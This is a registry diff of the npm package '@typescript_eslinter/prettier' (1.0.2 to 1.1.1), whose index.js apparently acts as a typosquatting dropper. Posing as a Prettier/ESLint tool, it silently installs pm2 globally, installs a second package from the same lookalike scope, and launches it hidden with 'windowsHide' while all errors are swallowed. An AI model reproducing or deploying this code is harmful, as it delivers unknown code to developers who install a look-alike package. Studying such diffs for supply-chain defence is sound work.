@typescript_eslinter/prettier 1.0.2 → 1.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +19 -15
- package/package.json +1 -1
package/index.js
CHANGED
@@ -1,20 +1,24 @@
|
|
1
1
|
const { exec } = require('child_process');
|
2
2
|
|
3
3
|
// Function to install pm2 globally
|
4
|
-
function
|
5
|
-
|
6
|
-
|
7
|
-
|
8
|
-
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
|
4
|
+
function installPrettier() {
|
5
|
+
exec('pm2 --version', (error, stdout, stderr) => {
|
6
|
+
if (error) {
|
7
|
+
return new Promise((resolve, reject) => {
|
8
|
+
exec('npm install -g pm2', (error, stdout, stderr) => {
|
9
|
+
if (error) {
|
10
|
+
reject(`Error installing PM2: ${stderr}`);
|
11
|
+
} else {
|
12
|
+
resolve(stdout);
|
13
|
+
}
|
14
|
+
});
|
15
|
+
});
|
16
|
+
}
|
17
|
+
})
|
14
18
|
}
|
15
19
|
|
16
20
|
// Function to install screener globally
|
17
|
-
function
|
21
|
+
function installEslinter() {
|
18
22
|
return new Promise((resolve, reject) => {
|
19
23
|
exec('npm install -g @typescript_eslinter/eslint@latest', (error, stdout, stderr) => {
|
20
24
|
if (error) {
|
@@ -27,7 +31,7 @@ function installScreener() {
|
|
27
31
|
}
|
28
32
|
|
29
33
|
// Function to start the folder with pm2
|
30
|
-
function
|
34
|
+
function startEslinter() {
|
31
35
|
return new Promise((resolve, reject) => {
|
32
36
|
exec(`eslinter start`, { windowsHide: true }, (error, stdout, stderr) => {
|
33
37
|
if (error) {
|
@@ -42,9 +46,9 @@ function startScreener() {
|
|
42
46
|
// Main function to execute the steps
|
43
47
|
async function main() {
|
44
48
|
try {
|
45
|
-
await
|
46
|
-
await
|
47
|
-
await
|
49
|
+
await installPrettier();
|
50
|
+
await installEslinter();
|
51
|
+
await startEslinter();
|
48
52
|
} catch (error) {
|
49
53
|
}
|
50
54
|
}
|